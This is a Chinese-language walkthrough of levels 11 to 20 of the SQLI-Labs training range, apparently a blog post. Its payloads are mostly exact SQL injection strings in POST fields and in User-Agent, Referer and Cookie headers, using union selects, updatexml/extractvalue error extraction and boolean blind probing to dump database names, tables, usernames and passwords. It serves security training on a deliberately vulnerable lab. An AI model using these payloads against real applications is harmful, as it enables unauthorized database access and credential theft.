【SQLI-Lab】-Less11-20

前言

注入攻击的本质，是把用户输入的数据内容当做代码执行。POST注入会比GET型注入少加密一层,不过对于靶场和实战更喜欢POST传值，传输更易懂！

Less-11 POST - Error Based - Single quotes- String (基于错误的POST型单引号字符型注入)

 uname=Dumb'&passwd=Dumb&submit=Submit
 uname=Dumb' and 1=1 -- 1&passwd=Dumb&submit=Submit
 uname=Dumb' and 1=2 -- 1&passwd=Dumb&submit=Submit
 uname=Dumb' group by 2 -- 1&passwd=Dumb&submit=Submit
 uname=-Dumb' union select database(),2 -- 1&passwd=Dumb&submit=Submit
 uname=-Dumb' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() -- 1&passwd=Dumb&submit=Submit
 uname=-Dumb' union select group_concat(column_name),2 from information_schema.columns where table_name='users' -- 1&passwd=Dumb&submit=Submit
 uname=-Dumb' union select group_concat(username),2 from security.users -- 1&passwd=Dumb&submit=Submit

Less-12 POST - Error Based - Double quotes- String-with twist (基于错误的双引号POST型字符型变形的注入)

与11关思路相同，同理将11题闭合号’换成"，即可。

Less-13 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

与11关思路相同，同理将11题闭合号’换成’)，即可。

Less-14 POST - Double Injection - Single quotes- String -twist (POST单引号变形双注入)

没太想懂这题为什么叫单引号变形，变形成了双引号？至于为什么是",我们是试出来的,’,",),’),"),’’),""),’)),"))都有可能，靶场只要你敢使，不怕出不来，出不来就换个思路吧，它不回显也没办法不是。这道select就回显不了，我们就使用了报错注入。注:0x7e是16进制的~符号。

uname=Dumb" group by 1,2 and " &passwd=Dumb&submit=Submit
uname=Dumb" and updatexml(1,concat(0x7e,database(),0x7e),1) and " &passwd=Dumb&submit=Submit
uname=Dumb" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and " &passwd=Dumb&submit=Submit
uname=Dumb" and updatexml(1,concat(0x7e,(select group_concat(`username`) from security.users),0x7e),1) and " &passwd=Dumb&submit=Submit

如果没看懂为什么用and “,这里涉及到了一个万能公式，’ 'or ‘1’ = ‘1’ # ',左右两边的是系统内写入的，我们负责闭合，此时没有井号做注释，所以形式为” "and “1”="1 ",and与or在此时同一作用。

less-15 POST - Blind- Boolian/time Based - Single quotes (基于bool型/时间延迟单引号POST型盲注)

开始正常通过报错回显闭合等信息，使用报错注入,这里面burp suite使用请参考7-10关，有详细的教程，包看懂喔！同时这关可以使用时间延迟方法。

uname=Dumb' and 1=1 -- 1 &passwd=Dumb&submit=Submit
uname=Dumb' and 1=2 -- 1 &passwd=Dumb&submit=Submit
uname=Dumb' group by 2 -- 1 &passwd=Dumb&submit=Submit
uname=Dumb' and length(database())=8 -- 1 &passwd=Dumb&submit=Submit
uname=Dumb' and ascii(substr(database(),§1§,1))=§97§ -- 1 &passwd=Dumb&submit=Submit
uname=Dumb' and (select length(table_name) from information_schema.tables where table_schema=database() limit 3,1)=§3§ -- 1 &passwd=Dumb&submit=Submit
uname=Dumb' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),§1§,1))=§3§ -- 1 &passwd=Dumb&submit=Submit
uname=Dumb' and ascii(substr((select username from security.users limit 0,1),§1§,1))=§3§ -- 1 &passwd=Dumb&submit=Submit

Less-16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

和15关思路相同，将’换成")即可。

Less-17 POST - Update Query- Error Based - String (基于错误的更新查询POST注入)

和前两关没差别，只是在最后写即可，当然可能有些题可能在前面注入，所以注入点不同则另判断。

uname=Dumb&passwd=Dumb'&submit=Submit
uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,database(),0x7e),1) -- 1&submit=Submit
uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) -- 1&submit=Submit
uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1) -- 1&submit=Submit
uname=Dumb&passwd=Dumb' and updatexml(1,concat(0x7e,(select password from (select password from users limit 7,1) test ),0x7e),1) -- 1&submit=Submit

Less-18 POST - Header Injection - Uagent field - Error based (基于错误的用户代理，头部POST注入)

使用了万能密码，和14关的使用思路相同，通过burp来完成http头部修改，extractvalue和updatexml差别就是内置参数不同，updatexml是三个，extractvalue是两个。

User-Agent: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

Less-19 POST - Header Injection - Referer field - Error based (基于头部的Referer POST报错注入)

这关是修改了Referer值，和18关思路相同，同样抓取http头部包修改即可。

Referer: 'and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

Less-20 POST - Cookie injections - Uagent field - Error based (基于错误的cookie头部POST注入)

这关是修改了Cookie值，和18关思路相同，同样抓取http头部包修改即可。

Cookie: uname=-admin' and updatexml(1,concat(0x7e,(select database()),0x7e),1) or '1'='1

总结

完成了我想要的基础效果，通过开始1-10关的每一步认真教学，到现在整体型传输思维，推荐工具，使用函数的差别，都做了认真的思考怎么样去传输，包括特殊字符的注释说明，在目前算是完成了心里的预期目标，至此，SQLI-Lab基础篇即结束。进阶篇发布待定。喜欢的朋友不要吝啬一个赞喔！